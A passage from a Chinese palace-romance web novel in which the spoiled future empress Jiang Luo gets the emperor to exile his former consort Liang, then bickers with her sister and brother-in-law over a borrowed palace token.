“一口一个高忱,我看你是脖子痒了!”姜璎又气又急,抓着她的手心一连抽了好几下。
这番暴躁的模样,别说姜珞了,就是赵咎都第一回见。
两人呆了呆。
赵咎迅速退出并合上房门,动作一气呵成。
姜珞缩了缩脖子,老实又可怜,边吸鼻涕边小声辩解说:“我脖子不痒,天天洗澡,很干净的。”
姜璎:“……”
脑仁嗡嗡作响,思考要不要再打一顿。
姜珞看出来了,连忙拿起一旁捶腿的小锤子,高举头顶,殷勤赔笑道:“姐姐,用这个打,不疼手。”
姜璎被气笑了。
姜珞忙道:“姐姐,我只在你面前这样,出了这道门,绝不胡言乱语!我保证!”
姜璎无奈看她一眼,姜珞知道这是不生气了的意思,又高兴起来,抱住了姜璎的手臂,宛如菟丝花一般,脸上露出心满意足的笑容。
姜珞言之凿凿,“姐姐,我这叫先见之明!不提前把粱氏处理了,等我当了皇后,她要害我怎么办?”
姜璎皱了皱眉,“你就非陛下不可吗?”
姜珞不想再听长篇大论了,于是干脆利落地点头:“嗯!”
反正都是要嫁人,她还不如选个地位最高的,要做就做皇后,万人之上!
而且,“他脾气还算过得去,长相也差强人意。”
是她择婿之中的最优选。
姜珞挺喜欢高忱的,打不还手骂不还口,多好啊。
姜璎叹了口气,“我知道了。”
“姐姐答应了吗?”
“等爹爹的回信。”姜璎摸了摸她的脑袋,“至于梁淑妃,你不用管,安心待嫁,剩下的……我来处理。”
“好。”姜珞乖乖答应。
姜璎倒也不是逞强,姜昀离开前给她留了人手,暗卫不提,还有百余个部曲,平时养在她名下的庄子里。除此之外,天水姜氏还在皇宫安插了暗桩。
姜璎看过人员名单,虽然都是些不起眼的小人物,但往往有时候,小人物也能发挥大用处。
加上萧止柔这些年的人脉,她要想想,该怎么去运作……
几日后,密信送达御前。
明惠帝拆开抖落了一下,看完递给容已。容已恭恭敬敬交到卫国公等人手中传阅。
“杨应暴毙,留下一堆烂摊子,也是难为明昭了。”明惠帝道,杨应就是前任秦州太守,提起此人,明惠帝满脸厌恶。
有老臣抚须,沉吟道:“陛下,姜昀快刀斩乱麻,固然见效快,但臣以为,他对待流民的手段未免过激,容易适得其反啊。”
姜昀一入朝堂便踏进权力中枢,看不惯他的大有人在。
有人开了头,剩下的自然跟上。
“范大人言之有理。秦州地界本就是天水姜氏老家,如今姜昀做了刺史,位高权重,恐怕忘乎所以,难免行事过激。”
明惠帝任命姜昀为刺史,却放任太守一职空悬至今。这么一块香饽饽,岂能不让人动心?
大臣们话里话外意思,就该派一个家世出众、德才兼备、资历深厚的人去秦州,跟姜昀分庭抗礼,以防他在地方独大。
明惠帝看向卫国公,“赵令君怎么看?”
卫国公淡淡一笑,客观道:“秦州向来有流民之祸,若处理不及时,只怕入冬以后,还要再添麻烦。姜昀快刀斩乱麻,也是为大局考虑。”
嘁——!
谁不知道姜昀的嫡长女嫁到了赵家?
赵堰这个老家伙,还能不帮着自己姻亲说话?
最先说话的范大人呵呵一笑,“陛下问赵令君,赵令君恐怕也为难呀。赵家和姜家的昏礼才办完没多久,他怎好得罪亲家。”
赵堰不语,只淡淡而笑。
赵哲挑了挑眉,“范大人这话说的,不知道的还以为您是怀疑家父有徇私之嫌呢。我赵家向来是亲君纯臣,若论姻亲,恐怕两只手都数不过来,但陛下,可就这么一个。”
“孰是孰非,孰轻孰重,难道我们还能拎不清?”
范大人冷哼一声,牙尖嘴利!
明惠帝看够了热闹,才慢悠
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悠道:“朕倒是觉得姜昀此举并无不妥。朕任命他为刺史,是要他为朕效力,为民办事,可不是去做菩萨善人的。”
众臣连连称是。
又有人提起秦州太守一职空悬许久,试探明惠帝的口风。
“那就让郑玄去吧。”
众人安静下来。
郑玄是郑氏的二兄,在地方做了六七年的县令。郑家一直想把儿子弄回盛京,只可惜京官无空位。
诏书拟好,调令已下。
郑家高兴不得了。
秦州再苦也比穷乡僻壤好!更何况,从县令到太守,可谓一步登天啊!
这次真是沾了姜家光了。
郑氏也颇为欢喜,二兄任命秦州太守,就算是看在姜璎的面子上,姜昀也会关照一二。
“我先前还担心呢,二兄这些年做出不少功绩,若回不了京,难免来个平调。恰好这些时日听说陛下因安奉县令办事不力而震怒……”郑氏跟刚到家的赵哲絮絮叨叨。
安奉那地方可不是人待的。
什么时候没了命都不知道。
她说了半天,赵哲也不吭声,一副若有所思的神情。
“怎么了?”郑氏担心道。
“没事。”赵哲握住她的手,又捏了捏下巴,“我估摸着,咱们家要出一个皇后了。”
“什么?!”郑氏吓了一跳,他们家只有老三生了龙凤胎,但小七才三岁啊!
“你想哪儿去了?”赵哲无奈道,示意她看蓼莪院的方向。
蓼莪院?
郑氏福至心灵,难道——是姜珞?
“难怪前几日,陛下亲临卫国公府!”郑氏捂住嘴,反应过来以后忍不住啐他,“那是姜昀的女儿,还咱们家,谁跟你咱们?真不要脸。”
赵哲打哈哈,“四舍五入也是咱们家姑娘了。”
心里想的却是今日下朝,明惠帝单独召见赵陆两家两家的事。
天水姜氏的族人虽然还没有离开盛京,但身无官职,不好进宫面圣。姜昀则在秦州大刀阔斧,一时腾不开身。
明惠帝只能找姜家的姻亲商议亲事了。
第189章 造谣
“等等——”郑氏忽然想起来,奇怪道,“姜昀虽然不在京中,可其他天水姜氏族人还在。这商议亲事,怎么会找上父亲还有陆家?”
自古婚嫁大事都由父母做主,父母不在,还有族中亲长。天水姜氏族老德高望重,论资排辈,操持昏礼可谓绰绰有余。
明惠帝却略过他们,同赵家和陆家商议。
此举未免落人口实。
赵哲摇了摇头,压低声音道:“姜家有几个族老,是前梁的忠臣。收到姜昀书信,直接破口大骂,不肯答应这门亲事,还说要派人去秦州把姜昀打死。”
郑氏:“……”
那她懂了。
姜家族老本就因为姜璎的亲事而如鲠在喉,若不是中间夹杂着救命之恩,他们无论如何也不会答应。
如今轮到姜珞,嫁的还是高炳的孙子,几个老头不气疯才怪!
是,高家现在确实发达了,但在姜家这样传承千年的顶级世家眼里,无论多显赫,也依旧是不入流的暴发户。
马贼出身,入行为伍,说破天也就是个兵户。娶个寒门庶女都算高攀,竟然也敢肖想上姓贵女?
我呸!
赵堰乐意把女儿嫁过去,他们管不着,但姜家的女儿,哪怕庶女,也不是高家能惦记的!
几个头发花白的老头骂起人来要多脏有多脏,回信过去直接把姜昀喷了个狗血淋头。
就这情况,明惠帝哪里还敢请他们入宫。
他是恋爱脑又不是挨骂脑!
干脆装作什么都不知道,一不做二不休,直接落实这门亲事。
“倒是委屈浓浓了。”郑氏叹了口气,夹在家族和未来夫婿之间,一定特别煎熬吧?
赵哲干笑一声。
谁委屈姜珞都不会委屈的好吗?
小朝会还没结束,明惠帝就得了姜珞进宫的消息,她拿着赵咎给的入宫令牌,一路畅通无阻。
明惠帝摆摆手示意他们退下,改日再议。
然后匆匆忙忙起身往偏殿去。
“高忱你个王八蛋!”
听到这一声,陆宣嘴角一抽,赵堰干咳一声,赵咨脚下趔趄。
他们都还算镇定自若。
唯独赵哲神情恍惚,不敢相信这母老虎一般的声音是从姜珞口中发出。
小姑娘在卫国公府可乖了!见着谁都问好,喊他“赵家二兄”,喊郑氏则是“二嫂嫂”,一双猫眼弯似月牙,甜如蜜糖。
天杀的!简直就是他梦想中的女儿!
卫国公府阳盛阴衰,只有赵言媳妇生了龙凤胎,虽然夫妻俩都在任上,但王氏郑氏平日里关心龙凤胎比关心自己儿子还要多。
乖乖软软的小姑娘比只知道调皮捣蛋的臭小子不知道好多少倍!
赵哲走在最后,隐约能听见里头传出的求饶声。
“浓浓、浓浓别打,别打脸……”
“你还敢躲?”
“我不躲,浓浓你听我解释——嗷!”
惨叫声响起。
吓得赵哲一个踉跄,差点正脸着地!
姜珞狠狠掐着明惠帝大腿,“你什么意思,当我们姜家人死光了?商议亲事不找五叔祖他们,反而找赵堰!他是姐姐的家翁又不是我的!”
明惠帝嚎一声又赶忙捂住嘴,怕传出去被人听见,“浓浓,你听我解释啊,赵堰当然不是你的家翁,你的家翁已经**。”
他握住姜珞的手,姜珞就踩他脚背,一下不够又来一下。
疼得明惠帝直冒眼泪。
不行不能哭!男儿有泪不轻弹!
姜珞发泄够了,才气喘吁吁趴他怀里,用脑袋撞他胸口,跟小牛犊似的,一天天使不完的劲。
“解释呢?”
“马上马上。”明惠帝把人抱到膝上,先给她穿好足衣,刚才姜珞扑过来的时候有点掉下来了。
殿内虽说烧了火墙,铺了羊毛毯,但寒气太重,还是容易着凉。
他摸了摸姜珞的手,是热的,便暂时没让人拿暖手炉。
“好了没有呀?”她等得不耐烦,开始发脾气,身体倒是颇为诚实地享受着他的伺候,小声嘟囔道,“你麻烦**。”
“好了好了。”明惠帝轻轻抚着她后背,跟哄小孩子一样,温柔极了,“不请五叔公他们,是万般无奈之下的决定,我保证,绝没有任何怠慢的意思。”
“那为什么?”
明惠帝本来不想让她知道的,浓浓就应该每天都快快乐
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乐,无忧无虑。
但现在,他无奈叹了口气。
“姜使君已经答应我们的亲事,只是五叔公他们……不太情愿。”明惠帝说得含蓄。
“那怎么办?”姜珞抬起小脸,皱了皱鼻子,五叔公是族中辈分最高,也是脾气最不好的,平时就连阿父也不敢招惹,更别说她了。
想到这,姜珞又生气又害怕,猫冬似的缩成一团,“都怪你,我都不敢回家了!”
明惠帝忙道:“对不起。”不管是不是自己的错,反正都先认下来,把人哄好才是最要紧的。
姜珞搂着他脖子,摇晃道:“对不起有什么用?你得想办法!我总不能在卫国公府,或者陆家出嫁吧?这样的话,我就不嫁给你了!”
明惠帝:“!!!”
他立马道:“你放心,我一定解决好,绝不让你受一点委屈!”
他不行就找姜昀。
姜家的事情当然得姜昀自己处理,能者多劳,岳父大人辛苦一点也是应该的。明惠帝暗暗想。
姜珞根本不吃他这一套,撇了撇嘴道:“少来,你让我受的委屈还少吗?”
明惠帝“啊”了一声。
什么时候的事?他怎么不知道。
“是不是姜璎又让你抄族谱了?”他小心翼翼问,有点委屈,“你又不许我罚她,我有什么办法。”
姜珞恼道:“关姐姐什么事?你少挑拨离间!懂不懂什么叫打是亲骂是爱?姐姐打我骂我罚我,都是为我好!”
明惠帝不敢反驳,“那是谁让你受委屈了?”
“你啊!”
“……”明惠帝绞尽脑汁也没想不出自己做过什么对不起姜珞的事。
姜珞哼了一声,玩面团似的捂住明惠帝的脸,不断揉搓拉扯,“就是你!就是你!都有我了,还跟别的女人不清不楚!”
天降黑锅,差点给明惠帝砸成一坨肉泥。
他直呼冤枉,“我没有!是谁造谣!我跟他没完!”
姜珞冷笑一声,“还不承认。”
明惠帝又气又急,委屈地逼红了眼,“我跟谁不清不楚了?”
正说完,容已轻手轻脚走进来,在外头道:“陛下,淑妃娘娘求见。”
第190章 算了
偏殿安静一瞬。
姜珞冷笑着从明惠帝怀里起来,一脚踢开他,“起开,你不要脸,我还要呢。毕竟说到底,人家才是有名有分的妃嫔,而我,只是个臣女。”
“我俩在一起,才是真的不清不楚!”
“浓浓!”
姜珞的话让明惠帝气得不轻,她这跟往他心上捅刀子有什么区别?
“没有不清不楚!我的心很小,只能装一个人,从前是她,现在是你!只有你,全是你!”明惠帝恨不得剖心给她看,闷声道,“立后诏书已下,很快整个盛京都会知道,你是我的妻子。”
姜珞不吭声,好半天才道:“没有成婚,我才不是你的妻子。”
明惠帝将她身体掰过来,抵着她额头道:“已经在筹备昏礼了!你说过要风光大嫁,那肯定不能含糊。别生气了,好不好?”
姜珞瘪了瘪嘴,想甩开他,却被明惠帝难得的强势禁锢在怀里。
她眼睫轻轻颤动,蒙上了一层雾气,就像淋了雨的小蝴蝶,可爱又可怜。明惠帝内心悄悄塌陷了一块,声音不自觉放轻,哄道:“我刚才声音太大了,是不是吓到你了?”
姜珞别过脸,“姐姐说的对,我不应该和你在一起。”她闷声闷气道,“或许…我根本不适合做皇后。”
“怎么会?”明惠帝听到这话,心咯噔一下,眼泪差点掉下来,“你不要听她胡说!”
“可我脾气很坏,一点也不大度。”
“不坏啊!这是直率真诚不做作!”明惠帝连忙搜肠刮肚描述她的优点,“我就喜欢浓浓这样的性格!不用去花心思揣摩,也不用日日战战兢兢猜测喜好。”
“……你什么意思,是不是在偷偷骂我不聪明?”
“没有!”
姜珞冷哼一声,“我没学过管家,也容不下你的旧爱,指不定什么时候犯错,也被废了。”
“算了,我不跟你玩儿了。”
“不许算!”明惠帝气急败坏,低下头狠狠吻住她。
突如其来的温热触感,柔软至极,姜珞蓦地睁圆眼睛,想拧他耳朵,但绯红已然蔓开,激起一片颤栗。
明惠帝轻啄细吻,小心柔哄,让本就粉嫩的唇瓣覆上薄薄水光,如雨后芍药,娇艳欲滴。
“我教你管家,我处理旧人……我会解决好一切。浓浓,不要说置气的话。”
他会难过的。
明惠帝身姿修长如玉竹,比姜珞高了将近一个头,此刻低着头,温声细语哄她。
真奇怪。姜珞心想,明明是上位者,却老是一副下位者的姿态。
“搞得好像我在欺负你一样。”她嘟囔道。
“没有。浓浓怎么会欺负我?”明惠帝捧着她的小脸,蹭了蹭鼻尖,眼里的温柔欢喜都快要溢出来,“浓浓是世上最好的小娘子,不是才说了,打是亲骂是爱吗?”
“浓浓发脾气,是因为亲近我,信任我,依赖我。”
“这是好事。”
姜珞翻白眼:“神经。”
明惠帝郑重其事地端详她,“浓浓在口是心非。”
姜珞呵呵笑:“有病。”
明惠帝最后结出结论,“浓浓喜欢我。”
“……”受不了了!姜珞推开他,红着脸恶声恶气,“你!不许再说话!”
恶心!烦人!矫情!
害她鸡皮疙瘩掉一地!
明惠帝挨骂也高兴,黏糊糊地凑上去,抱着她不撒手,就像两块香香甜甜的糯米糕。
他用鼻尖轻轻蹭着她发烫的脸颊,“浓浓,我喜欢你吃醋。”
吃醋代表在意。
在意说明喜欢。
喜欢都有了,爱肯定就在来的路上!
明惠帝对此深信不疑。
因为他记得小时候,母亲就是这样,不喜欢父亲选妃。父亲也不喜欢母亲夸别的男子,哪怕是大舅也不行。
明惠帝看在眼里记在心里,成亲以后,不要任何侧妃侍妾。
但梁氏好像没能明白明惠帝的意思,登基以后,几乎每年都在提选妃的事情。她只想做贤良淑德的皇后,不想做他的妻子。
为此分外主动积极,想要操办选妃,又时不时把他往别的美人那推。
他是货物吗?她不喜欢就推给别人。
直到现在,明惠帝才肯承认,梁氏不喜欢他的这个事实。
哎,皇帝也是要面子的嘛。
想到这,明惠帝没忍住又亲了亲她脸蛋,“浓浓,我不会让你吃醋的。”
姜珞“哦”了一声,“没关系,你让我吃醋,我就让你吃巴掌。”
明惠帝憋出一句:“……吃醋
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不吃亏,很好!”
“好你个头!”姜珞拧他耳朵,“就知道光说不做!你的旧爱还杵外头等你呢,去把她解决了!”
“你跟我一起。”明惠帝可不敢单独见梁氏,免得小姑娘哪天不高兴又借题发挥,那他真是跳进黄河也洗不清了。
明惠帝抚平姜珞衣裙上的褶皱,又放慢脚步,让她走在自己身边。
姜珞没有察觉这些方方面面的细节,漫不经心道:“你没有吃她送的东西吧?”
明惠帝立马道:“没有。”
姜珞不太相信,“没有她怎么天天送?前些日子还下雨呢,风雨无阻啊。”
明惠帝警惕起来,不给她半点扣屎盆子的机会。
“我这几天忙着呢,都没见她,她自己站了会儿就走了。”
“哦。”
哦是什么意思?
生气还是不生气?
明惠帝眨了下眼睛,姜珞慢悠悠道:“我一会儿当面问,要是她说的和你说的不一样,你就完了。”
明惠帝:“……”
明惠帝:“她要是说谎怎么办?”
姜珞:“怎么办?梁氏一巴掌,你两巴掌。不够吃就说,解释管够。”
明惠帝摸了摸额头,很好,冒冷汗了。
两人出去时,梁氏已经站在太阳底下许久,整个人都开始摇摇欲坠。
就这么个蠢货,哪里值得姐姐为她操心?姜珞心里嗤笑一声,干脆今日收拾了再回家。
要是高忱心软,就连他一块收拾。
明惠帝后背隐隐发凉,只能在心中暗自祈祷梁氏不要害他。
“陛下……”梁淑妃看见明惠帝,眼睛一亮,发白的唇瓣微微抿起,“臣妾拜见陛下。”
“淑妃有什么事儿吗?”姜珞笑盈盈问,让她看看有没有什么找茬的机会。
梁淑妃没看她,还未成亲就开始勾引男人,如此放浪形骸!真不知道陛下怎么会被她迷惑!
她手里提着食盒,低声道:“陛下,臣妾今日熬煮了鸡汤,请您……赏脸尝尝。”
这样卑微的话,梁淑妃从出生到现在就没说过几句。今日还让姜珞看了笑话。
梁淑妃忍不住暗恨。
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二更!zfb口令【身体健康事事顺遂】~非常感谢大家
第191章 遣送
“原来是鸡汤呀。”
姜珞微微一笑,脸蛋被镀上一层柔光,金灿灿的日光在她发间跳跃,宛如古画上最为浓墨重彩的一笔,漂亮明媚地直教人挪不开眼。
站在明惠帝身边,一高一低,一俊美、一明媚,任谁见了都要说一句着实相配。
明惠帝目不转睛地看着她,心里甜滋滋,丝毫不觉危险即将到来。
浓浓真漂亮,像一只趾高气昂的小橘猫!
“淑妃有心了,难怪老远就闻到了香味。阿忱,你不尝尝吗?”
阿忱?
梁淑妃不可置信,他怎么能让姜珞唤他名字?他明明说过,这是只给她一个人的偏爱!
姜珞见状,还嫌不够刺激人,故意当着梁淑妃的面,冲明惠帝笑道:“阿忱,尝还是不尝,你倒是说句话呀,怎么能让人干等着?”
这笑容,这娇嗔。
明惠帝仿佛被施了定身术,眼眸微微睁大,红晕爬上脸颊,震惊之后,嘴角完全不受控制地上扬,他略带些不自然地低头,都没听清姜珞说了什么,就含糊答应。
“嗯……好、好啊。”
姜珞笑容一滞。
还好啊?
我看你是想**吧!
她亲昵挽住明惠帝的胳膊,手指用力一拧,明惠帝差点痛呼出声!神智立马清醒!
“浓浓……”
“既然陛下要尝淑妃熬的鸡汤,那臣女就不打扰了。”
明惠帝想起刚才说的话,惊出一身冷汗,忙抓住她的手,急急辩解:“我不尝!我不爱喝鸡汤!浓浓你别走!”
梁淑妃牙齿都快咬碎了,气息不稳,从嘴里挤出一句,“姜二姑娘可是要做皇后的人,如此心胸狭隘,日后怎能母仪天下?”
梁淑妃根本无法理解明惠帝。
他到底看上姜珞哪儿了?
一个身无长处的草包,甚至还是妾室所出,平日里只知道装乖扮可怜,没人瞧见的时候才露出跋扈真面目!
这样的人,怎么配做皇后?!
梁淑妃想,难道是因为她跟他置气,没了孩子,所以使得明惠帝性情大变,看上姜珞?
梁淑妃自认这些年身居后位,除了没有替高家绵延后嗣,其他可谓尽职尽责,无不是之处。
平心而论,姜珞哪里比得上她半点?
高忱立这样的人做皇后,不怕贻笑大方吗?
“陛下——”梁淑妃试图劝诫,却被明惠帝一个眼神定住。
他看上去生气极了,却始终不肯松开姜珞的手。
姜珞撇了撇嘴道:“看吧,我就说了。这还没入宫,就已经给我扣上‘心胸狭隘’的帽子,等入了宫,指不定怎么骂我呢。”
“谁骂你我骂谁。”明惠帝道,听着很幼稚,但接下来,他用实际行动证明了自己的态度。
“浓浓是未来的皇后,我的妻子,无需贤良淑德。我喜欢她吃醋,巴不得她再骄纵一些。”
明惠帝淡淡道:“淑妃倒是贤惠,只可惜,朕不喜欢。”
直白的话语将遮羞布扯下,露出赤裸裸的厌恶。
他宁可大吵一架也好过冷脸相对,一语不发。
见识过明媚阳光的人,绝不会想要回到冰窖。
“来人,淑妃御前失仪,胡言乱语,送去万业寺,好好休养身心。”
“无诏,“他吐出最后几个字,神情漠然,宛如宣判**“——不得入京。”
哐啷一声。
食盒摔在地上,里头的鸡汤打翻,流了一地。
梁淑妃还未从怔然中回神,万业寺……他是要她带发修行,一辈子清苦到死?
不、不会的。
一定是姜珞逼迫,是姜家!
梁淑妃伸出手,想要去抓明惠帝的衣袍,却是摔倒在地,手心磨破了皮。
疼痛与羞耻不知道哪一个先到来。
梁淑妃脑子嗡嗡作响,哭着道:“陛下!我们多年情谊——!”
他怎么能这么对她?
明惠帝皱了皱眉,淡淡道:“情谊一词,重在情字。你又何曾对朕有过感情?”
姜珞挑起嘴角。
欣赏着梁淑妃狼狈不堪的模样。
明惠帝摆了摆手,“收拾完东西,今日就出宫。”
省的留在宫里,剪不断理还乱,平白添麻烦。
他可不想挨浓浓的大耳刮子。
“陛下,陛下,你不能这么对我,哪怕看在那个未出世的
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孩子的份上!”悽悽哀叫,从一贯爱好体面的梁淑妃口中发出。
她似乎终于意识到,何为逝水。
面对亲自捧到跟前的真心,她视而不见,嗤之以鼻。
如今后悔莫及,贪恋过去,又有谁会一直等在原地?
“拖下去。”明惠帝冷冷道,眼底悲痛一闪而过。她怎么有脸提起孩子?明明知道他是那么的期待看重那个孩子的到来,她还是毫不犹豫地伤害自己的亲生骨肉!
但凡她没有那么狠心,他们之间都不会走到这一步!
容已使了个眼色,宫人上前扶起梁淑妃,用帕子堵住她的嘴,迅速利落地带下去。
姜珞冷嗤一声:痴心妄想的蠢货!
娘家不争气也就罢了,梁淑妃自己也不见得有多聪明。
梁家人都快死得差不多,除了梁四叔那一房,其余不是斩首就是流放,至于龚家更不必提,估计现在都已经投胎到畜生道。
她倒好,不想着养好身体,还反过来天天折腾,净做些无用功,指着明惠帝回心转意。
手指被轻轻勾住。
姜珞低头看了一眼,任由他牵着了。就当是给乖狗狗的奖励吧!
姜珞以前养过一条小黄狗,又土又笨,只知道往她身上蹭。
一双湿漉漉的眼睛,澄净热情,仿佛能听懂人话。但不管姜珞说什么,它都一个劲舔她,挨了巴掌更兴奋,直接扑她怀里。
没人跟她玩,只有这只小土狗。
陪她一月又一月。
姜珞觉得高忱跟她养的狗挺像,而且青出于蓝胜于蓝,听得懂人话!
“浓浓,留下来一同用膳吧。”
嗯……还会得寸进尺。
用他那双湿漉漉的眼睛。
姜珞勉为其难道:“好吧,看在你表现不错的份上。”
十指相扣,牵得愈发紧密。
明惠帝牢牢抓着她,回到偏殿,将人抱在怀里,整张脸埋进莹润细腻的颈窝。
“干什么?”姜珞捏了捏他耳朵,“你要是舍不得,就继续养在宫里呗。”
反正弄死一个,跟弄死一对,没有太大区别。
姜珞叹了口气,哎,她还是太善良了!
第192章 责任
小山般的奏折垒了一座又一座,想要成为一个合格的皇帝,是不能太得闲的。
若是以往,明惠帝难过一会会,也就重新振作继续批奏折了,无论如何都不会让自己的伤春悲秋耽误民生要事。
但今日有所不同。
他的难过有了安放的去处,终于不用再一个人偷偷舔舐伤口,层层衣袍遮掩下的脆弱也随之展露出一角痕迹。
高忱把脸埋在香香软软的颈窝,不知是生闷气的缘故,还是其他,耳廓通红一片。
他嘟囔道:“我哪有舍不得?浓浓又污蔑我。”
姜珞哼哼,看在皇后宝座的份上,不跟他计较,“既然没有,那你还不快点起来?”
“不要。”
高忱的手臂紧紧缠着她,一颗心被依赖与爱意泡的鼓鼓囊囊,连带着声音含糊不清,听着像撒娇,“再抱一会儿,就一会儿。”
“……”
姜珞无语。
姜珞大发慈悲。
算了,就给他抱一会儿好了。反正也不会掉块肉。
话说回来。
她明明如此善解人意,以后谁再说她不适合做皇后呢?
除了姐姐,统统拉下去砍手**!
“浓浓……”黏黏糊糊的声音,高忱用鼻尖蹭了蹭她的锁骨,温热的气息洒在肌肤,姜珞没忍住给他了一头皮,“干什么呢你?”
嚣张气焰落在高忱耳中,无异于娇嗔。
他又亲又蹭,跟狗似的一个劲拱着她颈窝,“等礼部筹备完,我们就成亲,好不好?”
“好不好?”
“浓浓……”
黏糊的吻从脖颈到耳后,姜珞的身体不自觉绷成一根弦,脚趾蜷缩,有种说不出的心烦意乱。
“痒——!”她推了推高忱的脑袋,“你怎么比小黄还黏人?”
高忱微微迷蒙的眼眸多了一丝清醒,警惕十足,“小黄是谁?”
姜珞撇撇嘴道:“我的小狗。不过已经死掉了……”
从话语中听出低落,高忱立马道:“没关系,我再给浓浓找一只。”
“不要。”
姜珞一口拒绝,她再也不想养狗了。那么烦,那么笨!除了会害她掉眼泪,简直一无是处!
她眼睑微垂,雾气蒙蒙,吸了吸鼻子,才把那抹酸涩憋回去。
“浓浓……”高忱看到她难过,内心深处也像是跟着淋了一场雨,潮湿无比。
他讨好地亲了亲她嘴角,竭尽所能哄她高兴。
“没关系,还有我。”
“我给浓浓做小狗,一辈子不分开。”
郑重其事的请求,让姜珞的猫眼有一瞬睁大。
她忽然扑哧一笑,搂着他的脖子乐不可支道:“哪有你这么大只的狗?成精了嘛?”
高忱看到她笑,才算彻底安心,一点儿也不害臊道:“对。”
姜珞挑起他下巴,神气十足道:“那你先叫一声我听听。”
高忱眨了下眼,在她兴致勃勃地注视下,总算生出一点儿难为情。
啊……现在吗?
热意爬上脸颊,如正当季的甜柿,剥开外皮,流心的汁水淌了一手。
姜珞的目光落在他唇瓣,看着很好吃的样子。
先前的亲吻只停留表面,这会儿倒是令她起了一点兴趣。
她换了个姿势,跪坐在高忱的身上,直起身子轻轻凑近。
一擦而过,高忱心跳骤然停了一拍。
面颊几乎快要贴在一起。
他不自觉屏住呼吸,心跳复活,扑通扑通,恨不得跳出胸膛的激动。
姜珞的眼里满是好奇,又毫不掩饰挑剔。
她揽着高忱的脖子(过不了审核)
高忱险些一个激灵,浑身滚烫起来。
“浓浓……”微喘中带着一丝哀求,他看出姜珞的玩心,想纵容,又怕自己控制不住当场出丑。
“吵什么吵?”姜珞不服气,就允许他亲自己,不许自己亲他?
皇帝了不起哦?她还是皇后呢!
姜珞双手放松,扶着他的肩膀,不满足于一开始的试探,干脆直接上嘴啃。
磨牙似的毫无任何章法,等咬出一个个浅浅的牙印后,她又莫名心虚,用手指摁了摁,试图让牙印消下去。
“嗯……”
虽然没什么滋味,但软软的,还挺好玩。
她像是吃糖一样慢慢吸吮着。
好吧。
再吸也吸不出甜味。
姜珞玩得意兴阑珊,伏
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在他肩上打了个哈欠。
想回家了。
忽然身下一空,吓得姜珞连忙抱住高忱的脖子,“你干什么呀!”
高忱面色通红,嘴唇被亲吮得红肿无比,开口略带一丝喑哑。
“你在这休息,我先去……更衣。”
最后两个字很轻。
姜珞没听见,抱着一个软枕,粉嫩的脸蛋出现困意,“那你快点啊。”
“算了,”她揉了揉眼睛,坐起来。“我不跟你一起用午膳了。”
高忱脚步一顿,脸上热意冷却,“为什么?”
姜珞又打了一个哈欠,摸了摸身上的宫牌,还好没丢,“我要回家挨手板子了,估计接下来不能进宫。提前跟你说一声哦。”
高忱急急忙忙上前,又在靠近前顿住,想要挽留,却不知道该说什么。
“这令牌,是阿劫给你的吗?要不,我重新给你一块,你以后想什么时候来,就什么时候来……”
“哦对!你提醒我了!”
姜珞眼眸一亮,扑上来狠狠亲了高忱一口,被他腰间配饰硌了一下都没生气,美滋滋道,“姐夫偷摸给我的,要挨罚,也是我俩一起挨罚才是!”
这下姐姐可不能偏心姐夫了!
姜珞急哄哄要走,挨板子算什么,拖人下水才是最有意思的事。
嘻嘻。
“浓浓……”高忱张了张嘴。
姜珞回头,瞥了眼他腰间,警告道:“你香囊里塞的什么?记得换掉。要是下次再硌到我,看我收不收拾你。”
高忱:“……”
柿子熟透了。
姜珞哼着歌回家,比打了胜仗的将军还要威风。
立后诏书已经颁下,毕竟是姻亲,整个卫国公府一片喜气洋洋。
除了蓼莪院。
姜璎没想到姜珞会冲到宫里头。
姜珞一踏进院子,就听见姜璎质问道:“你的令牌,怎么会到浓浓手里?是不是你故意塞给她的?”
“跟我有什么关系?”
赵咎一脸讶异,“我就随便扔架子上,哪里知道她一声不吭摸走了。”
姜珞:“??!”
她整个人都不好了。
从未见过如此厚颜无耻之人!
第193章 互咬
“赵咎,你卑鄙无耻!”姜珞冲进去,气得险些跳脚,根本没想到他会来这一套!
姜璎瞪她一眼,姜珞这才有所收敛,不敢在院里头大呼小叫,但还是梗着脖子道:“姐姐,你不能只听他一面之词!”
“令牌是姐夫给我的,他说要进宫就进宫,但得快去快回,不能让姐姐知道!”
姜珞语速极快,一股脑和盘托出。
赵咎压根来不及阻拦。
赵咎:“……”
没事,不慌,他自会狡辩。
姜珞说完挑衅地看一眼赵咎,他却不慌不忙,镇定自若道:“我什么时候给你了?”
“就早上!”
“具体什么时辰?”
“这我哪儿还记得。”姜珞觉得他胡搅蛮缠。
“你说是我给你的,有人看见吗?”赵咎轻飘飘反问,已然胜券在握。
他早料到姜珞会翻脸不认人,一门心思把他拖下水。
所以给令牌的时候,专门挑了个最佳时机,四下空无一人,只有他们两个。
现在,就算姜珞说破嘴皮子,也没有任何证据。
姜珞傻眼了。
气得直接把令牌砸向他!
赵咎身轻如燕,侧身躲过这泄愤之举。
他宽容至极,“浓浓,你就认个错,我会帮你求情的。”
“求什么情?”
姜璎深吸一口气,看向姜珞,她一副受了委屈可怜巴巴的模样。
“你,接下来几日,不许踏出房门半步。”
“明明是姐夫……”
姜璎不听她分辩,又对赵咎道:“你和她相反,这几日,不许踏进房门半步。”
赵咎:“?”
姜珞破涕为笑。
赵咎试图为自己争取,“不是,阿池,我真……”
姜璎转身就走。
她怕她再待下去,直接仪态全无,一人一拳,打死算数!
真是把“狼狈为奸,过河拆桥”八个字展现得淋漓尽致啊。
赵咎瞪了姜珞一眼,姜珞幸灾乐祸,得意洋洋,谁让他推卸责任。
姐姐洞若观火,明察秋毫,才不会被他骗了呢!
“阿池!”赵咎顾不得跟她算账,忙追上去,跟在姜璎身后低声下气道,“其实这个事吧,不是你想的那样,你听我解释……”
嘭——!
房门紧闭。
差点砸到赵咎脑门。
他碰了一鼻子灰,还不死心,拍了几下,“阿池,阿池!你好歹听我狡、不是,解释啊!”
姜珞也过来拍门,张口就是:“姐姐,我是被陷害的!这么重要的东西,哪里是我能拿到的呀,都是姐夫连哄带骗,逼我进宫!”
赵咎冷笑道:“你再胡说八道一个试试呢?”
姜珞脑袋一扬,“谁胡说八道,谁心里清楚!”
香薷等人尴尬无比,留也不是,不留也不是,只能低着头立在廊下,假装木头人。
哎。
一个是成了家的郎君,一个是快要入宫的皇后。
怎么还这样不稳重呢?
真是辛苦女君了。
里头似乎也忍无可忍,声音穿透房门。
“要吵去外头吵!”
